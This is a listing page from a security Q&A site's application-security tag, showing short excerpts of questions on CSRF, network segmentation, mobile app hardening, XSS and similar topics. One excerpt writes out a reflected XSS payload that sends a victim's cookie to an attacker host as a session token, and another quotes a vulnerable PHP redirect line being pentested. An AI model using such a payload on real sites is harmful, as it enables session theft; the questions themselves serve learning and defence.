Application security - Specific to security concerns for an application that are independent from the underlying operating system, or surrounding infrastructure. Pertains to the design / architecture, source code, patching and maintenance cycle, or deployment and configuration of this software.

learn more… | top users | synonyms (1)

0
votes
0answers
11 views

Enterprise Digital Footprinting [on hold]

This is more of a market knowledge question. I want to perform a digital footprinting for my enterprise which is pretty big. I know RiskIQ provide this service, is there any other player in the market ...
1
vote
1answer
22 views

VLANs, Subnets and a sensitive database server

I have a sensitive database, and two categories of employees Category A and Category B. Category A does not require access to the sensitive database while category B does require access to the ...
1
vote
1answer
22 views

Why would I ever not want CSRF protection?

While I can see some of the overheads of CSRF protection (generation of token, validation of token, extra work to implement), I can't see any reason why you would ever not want it. Is there ever a ...
0
votes
0answers
13 views

How dangerous the fact that selinux is permissive/lacking on android? what should one be wary of? [on hold]

So there is this ROM who due to some constrains has its SELINUX set on permissive most of the time. The phone has its root disabled. Now I'm not really sure what are the consequences of such a state ...
0
votes
0answers
25 views

DMZ with Reverse Proxy for both Web and Email servers

I have both a web server and email server, instead of placing these two "public" servers in the DMZ, instead In the DMZ I was going to place a Reverse Proxy. for the Web Server: Firewall accepts port ...
0
votes
0answers
40 views

Firewall source and destination IP validation

For an external firewall interface, why is it a good idea to validate that the source IP address was initiated from an internal IP, or why it originated from an external IP? If, hypothetically, the ...
0
votes
1answer
20 views

Security pertaining to Client-side validation

One of my websites has a webpage wherein it has a button/link named 'BACK'. Anyone clicking on this button/link will redirect user to HOME page of the application. Now if the user change the URL on ...
2
votes
1answer
69 views

Man in the Middle attack?

in a scenario where I have a gateway to the Internet and a switch(layer 2) connected to this gateway. I have two computers in the same broadcast domain connected to the switch. all traffic to the ...
3
votes
2answers
13k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
15
votes
6answers
4k views

Automated tools vs. Manual reviews

What are the advantages of using automated tools, as opposed to manual review? What are the disadvantages? This applies both to external blackbox vulnerability scanning, and to static code analysis. ...
2
votes
1answer
98 views

Is it safe to remove these groups from the Local Security Policy area?

I'm trying to edit a particular section inside the Local Security Policy snap in and I'm wondering if I really need to give all of these groups (I think they're groups) permissions. Based on this ...
0
votes
0answers
10 views

How can I decrypt data stored using the android KeyChain API? [migrated]

I have an android application that stores secrets using the KeyChain API. I have root access, and I know all of the credentials for the device. I should theoretically be able to decrypt the files ...
0
votes
1answer
73 views

How can I trust a mobile app? [closed]

Nowadays we are putting a lot of trust in mobile apps in order to survive in a globalized society. We are even under a kind of peer pressure which madly drives us to use these new applications. One ...
3
votes
1answer
78 views

How to block BYOD users from installing malicious versions of a common app?

How does Mobile Device Management tools (MDMs) identify mobile apps in order to allow to install only whitelisted applications? First I though some kind of hash but because the APK changes in the ...
1
vote
1answer
30 views

How to cycle OAuth2 client secrets without downtime

I have an app that relies on several OAuth2 providers to poll for background data on behalf of users, as a background process. As a matter of best-practice, I'd like to periodically cycle my client ...
0
votes
1answer
25 views

Anti CSRF tokens with a black box

Consider an app you develop that uses something like the OWASP CSRFGuard library. What can be done to protect against XSS if the app calls a third party black box app that has no way to store and ...
2
votes
2answers
82 views

Is there such a thing as application-specific encryption?

I am looking for a way to encrypt certain files (.jpg, .pdf, standard file extensions) such that they can only be opened by a certain application (assuming this application will have the relevant file ...
0
votes
1answer
81 views

Should the password be stored in a variable before encryption?

I am currently writing an App using CodenameOne, and there is a login screen, where the user needs to insert their account and password. Now I was wondering, what would be the best way to access the ...
1
vote
2answers
70 views

Is phone-based authentication more secure than passwords?

Let's say I ask my user to provide email, first and last name, last 4 of ssn, date of birth, and a phone number. On login, I send a 4 digit pin as a text. Considering users tend to reuse passwords ...
12
votes
1answer
1k views

Is Postgres's uuid_generate_v4 securely random?

I'm using Postgres's uuid_generate_v4 in a uuid primary key column to generate secure one-time authentication tokens. Is this okay? Does Postgres use a secure random number source for generating these ...
0
votes
2answers
126 views

Remote code execution vulnerability in PHP's base64_decode?

I'm trying to pentest a PHP script. This is the last line of the script that I want to exploit: Header("Location: ".TOP_DIR."/".base64_decode($_GET['ref'])."&imgid=".$_GET['imgid']); Is it ...
9
votes
7answers
5k views

Why does XSS affect so many websites?

According to an article I read 65% of all websites globally suffer from XSS. Why can't developers find and fix it? Please help me understand. I'm not from a security or tech background.
6
votes
2answers
2k views

Canonicalization & Output Encoding

I'm reading OWASP's Secure Coding Practices Checklist and under their "Input Validation" section they have an item that reads: If any potentially hazardous characters (<>"'%()&+\\'\") ...
8
votes
7answers
3k views

What does it actually mean when someone says their website is hacked?

I have seen many people say that their website has been hacked using some vulnerability. I never fully understood what this means. To me the only way to get control of website is get the FTP details....
0
votes
1answer
131 views

OSSIM - How do I not receive events from alienvault-host?

How do I not receive events related to the server itself OSSIM? Example: SSH Accept Key alienvault[SRC] -------> ServerToMonitor[DST] PS:I've taken all the rules of OSSEC, then the ...
18
votes
3answers
10k views

What is the difference between Exploit and Payload?

In computer security, we know that weak points in software are called vulnerabilities (if related to security). And once the vulnerability is found, theoretically it requires a piece of code as proof ...
12
votes
4answers
1k views

What to do when you can’t protect mobile app secret keys?

We have a mobile app for iOS and Android available in the Apple and Google Play stores. The app communicates with our server’s Web Services over HTTPS. We have attackers able to spoof the app traffic....
-1
votes
1answer
44 views

Hosting CSRF Token at URL

When implementing CSRF protection, one generally uses a CSRF cookie that must be included in the body of the request. This prevents CSRF attacks because the malicious website cannot read the other ...
85
votes
5answers
10k views

Can simply decompressing a JPEG image trigger an exploit?

The novel Daemon is frequently praised for being realistic in its portrayal rather than just mashing buzzwords. However, this struck me as unrealistic: Gragg's e-mail contained a poisoned JPEG of ...
7
votes
3answers
2k views

Where can I find exploit code?

I am doing VA/PT on a sample web application. I run the Nessus scanner and I found some high severity vulnerabilities that are related to HP System Management Homepage. The CVE-numbers are: CVE-2010-...
6
votes
2answers
146 views

Why should you clear your pasteboard when exiting your app?

I've been scanning an iOS application of mine and the highest risk vulnerability appears to be that the pasteboard is not getting cleared when I terminate the application. I don't want the user to ...
1
vote
1answer
55 views

Security in transferring sensitive data over web apps

I am working on an app that has to transfer sensitive data over HTTPS and I have an idea but I am wondering if it is overkill or good. One of the issues is I need the ability to "share data" between ...
6
votes
4answers
5k views

How to harden an iPhone/Android app so it's tough to reverse-engineer it?

These are the following objectives I have in mind: Make the app hard to crack, as the binary will hold some secret tokens. If it still can be cracked, is there any way the app can tell someone or ...
2
votes
2answers
208 views

How to test image upload vulnerability in a mobile application?

I am administering a mobile application with many users. Users can upload their own .jpg images. I cannot know at this moment if image inputs on the application I am administrating are sanitized or ...
0
votes
1answer
45 views

What more can I do to secure my service?

I run a multiplayer gaming service that provides a server list for clients and servers. At the moment it uses an SQLite database stored locally (which is insecure in itself). I am drawing up plans to ...
8
votes
3answers
724 views

How to protect contact forms against being misused for mass-mailing?

A common function of contact forms is to send the contact message not only to the site owner but also to the person who sent the contact request. What are good measures to protect against the form ...
3
votes
1answer
54 views

Application Whitelisting Approaches/Options on non-Enterprise Windows PCs

For a while now I've been kicking around the idea of implementing application whitelisting on a few sets of machines (owned by 2-3 different consulting clients) I administer that seem suitable for it. ...
14
votes
2answers
2k views

Split an application into user and admin parts for security reasons?

I'm currently developing an application which needs to have the ability to manage users. If a hacker would have access to the administrative section, he would have access to sensitive information and/...
4
votes
1answer
273 views

HTTP Response Splitting in practice

Have you ever seen HTTP Response Splitting in laboratory environment? There are many examples for HTTP Response Splitting vulnerability. I used old PHP and managed to get 2 responses from server ...
56
votes
5answers
180k views

How can I export my private key from a Java Keytool keystore?

I would like to export my private key from a Java Keytool keystore, so I can use it with openssl. How can I do that?
-2
votes
1answer
70 views

Best way to control who can run my application? [closed]

I am planning to make an application and I don't want everyone to use it (only allowed people). What I was going to do is getting the MAC address of the user and add it to our database "allowed_users" ...
15
votes
4answers
8k views

Session Hijacking - regenerate session ID

Does regenerating the session ID on each request mitigate the probability of a session hijack enough to be worth implementing? I would imagine combining a check for REMOTE_ADDR vs the REMOTE_ADDR ...
0
votes
1answer
190 views

Lock Windows to a specific app

Is it possible, using some program or application, to lock Windows 7 so only a specific app can be used, for example Word, until a password is entered?
2
votes
0answers
28 views

Are deleted offline calendar events in Android actually deleted?

When an Android app deletes a calendar event in a local (offline / non-synced) calendar, does Android's Calendar Storage (com.android.providers.calendar) actually delete the event or does it just flag ...
1
vote
1answer
67 views

Security of a desktop application's source code [closed]

How easy is it to get the source code from a desktop application? Are there any protections in place to stop someone from viewing an application's code?
20
votes
4answers
8k views

Is $_SERVER[ ] a safe source of data in PHP?

Can I 100% rely on $_SERVER[] to be a safe source of data that I do not need to sanitized like I do $_GET[] and $_POST[]?
4
votes
1answer
77 views

How relevant is OWASP ASVS? [closed]

How relevant is the OWASP application security verification standard? Have you had it as a requirement made by business? What other application security standards relevant to business are there? I did ...
1
vote
2answers
95 views

Login attempt password logging and obfuscation

I have a third party app that records the password from every login attempt (regardless of success or failure). Is this a standard operation and does it really serve any meaningful security purpose? ...
0
votes
1answer
48 views

Terminology - entry point, data source, sink

In the context of application security, I often heard the terms entry point, data source and sink. Can you define them for me in simple terms please?
-4
votes
1answer
71 views

No SSL: Web Application Security using html fragment identifier (#)

I am currently running my website in shared hosting, and I am not able to register TLS/SSL for my website. However, I implemented jsencrypt [A Javascript library to perform OpenSSL RSA Encryption, ...